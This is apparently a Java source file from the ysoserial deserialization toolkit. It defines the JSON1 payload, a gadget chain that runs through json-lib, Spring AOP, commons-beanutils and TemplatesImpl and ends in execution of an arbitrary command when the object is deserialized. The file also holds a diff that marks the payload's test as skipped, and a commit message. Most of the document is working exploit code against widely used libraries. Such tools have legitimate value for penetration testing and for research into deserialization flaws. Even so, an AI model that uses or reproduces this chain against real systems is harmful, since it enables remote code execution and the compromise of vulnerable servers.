package ysoserial.payloads;


import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;

import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeDataSupport;
import javax.management.openmbean.CompositeType;
import javax.management.openmbean.OpenDataException;
import javax.management.openmbean.OpenType;
import javax.management.openmbean.TabularDataSupport;
import javax.management.openmbean.TabularType;

import javax.xml.transform.Templates;

import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;

import net.sf.json.JSONObject;


/**
 * 
 * A bit more convoluted example
 * 
 * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
 * java.lang.reflect.Method.invoke(Object, Object...) 
 * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
 * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
 * $Proxy0.getOutputProperties()
 * java.lang.reflect.Method.invoke(Object, Object...)
 * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
 * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
 * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
 * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
 * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
 * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
 * net.sf.json.JSONObject._fromBean(Object, JsonConfig)
 * net.sf.json.JSONObject.fromObject(Object, JsonConfig)
 * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
 * net.sf.json.JSONObject._processValue(Object, JsonConfig)
 * net.sf.json.JSONObject.processValue(Object, JsonConfig)
 * net.sf.json.JSONObject.containsValue(Object, JsonConfig)
 * net.sf.json.JSONObject.containsValue(Object)
 * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
 * javax.management.openmbean.TabularDataSupport.equals(Object)
 * java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
 * java.util.HashMap<K,V>.readObject(ObjectInputStream)
 * 
 * @author mbechler
 *
 */
@SuppressWarnings ( {
    "rawtypes", "unchecked"
} )
@Dependencies ( {
    "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
    // deep deps
    "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6",
    "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"
} )
public class JSON1 implements ObjectPayload<Object> {

    /**
     * {@inheritDoc}
     *
     * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
     */
    public Map getObject ( String command ) throws Exception {
        return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
    }


    /**
     * Will call all getter methods on payload that are defined in the given interfaces
     */
    public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
        CompositeType rt = new CompositeType("a", "b", new String[] {
            "a"
        }, new String[] {
            "a"
        }, new OpenType[] {
            javax.management.openmbean.SimpleType.INTEGER
        });
        TabularType tt = new TabularType("a", "b", rt, new String[] {
            "a"
        });
        TabularDataSupport t1 = new TabularDataSupport(tt);
        TabularDataSupport t2 = new TabularDataSupport(tt);

        CompositeDataSupport cds = Reflections.createWithoutConstructor(CompositeDataSupport.class);
        Reflections.setFieldValue(cds, "compositeType", rt);
        Reflections.setFieldValue(cds, "contents", new TreeMap());

        // we need to make payload implement composite data
        // it's very likely that there are other proxy impls that could be used
        AdvisedSupport as = new AdvisedSupport();
        as.setTargetSource(new SingletonTargetSource(payload));
        final CompositeData cdsProxy = Gadgets.createProxy(
            (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
            CompositeData.class,
            ifaces);

        JSONObject jo = new JSONObject();
        Map m = new HashMap();
        m.put("t", cdsProxy);
        Reflections.setFieldValue(jo, "properties", m);
        Reflections.setFieldValue(jo, "properties", m);
        Reflections.setFieldValue(t1, "dataMap", jo);
        Reflections.setFieldValue(t2, "dataMap", jo);
        return Gadgets.makeMap(t1, t2);
    }


    /**
     * 
     * @param args
     * @throws Exception
     */
    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JSON1.class, args);
    }

}

@@ -74,16 +74,66 @@
 encies;%0A
+import ysoserial.payloads.annotation.PayloadTest;%0A
 import y
@@ -164,16 +164,16 @@
 adgets;%0A
-
 import y
@@ -402,34 +402,8 @@
 Map;
-%0Aimport java.util.TreeMap;
 %0A%0Aim
@@ -453,64 +453,8 @@
 ta;%0A
-import javax.management.openmbean.CompositeDataSupport;%0A
 impo
@@ -796,69 +796,8 @@
 ort;
-%0Aimport org.springframework.aop.target.SingletonTargetSource;
 %0A%0Aim
@@ -1009,17 +1009,16 @@
 ject...)
- 
 %0A * org.
@@ -2939,16 +2939,70 @@
 .1%22%0A%7D )%0A
+@PayloadTest(skip=%22This depends on HashMap ordering%22)%0A
 public c
@@ -4122,238 +4122,8 @@
 );%0A%0A
-        CompositeDataSupport cds = Reflections.createWithoutConstructor(CompositeDataSupport.class);%0A        Reflections.setFieldValue(cds, %22compositeType%22, rt);%0A        Reflections.setFieldValue(cds, %22contents%22, new TreeMap());%0A%0A
     
@@ -4332,40 +4332,8 @@
 rget
-Source(new SingletonTargetSource
 (pay
@@ -4337,17 +4337,16 @@
 payload)
-)
 ;%0A      

Disable json-lib test as the gadget chain depends on the HashMap ordering which seemingly is different across JDK versions.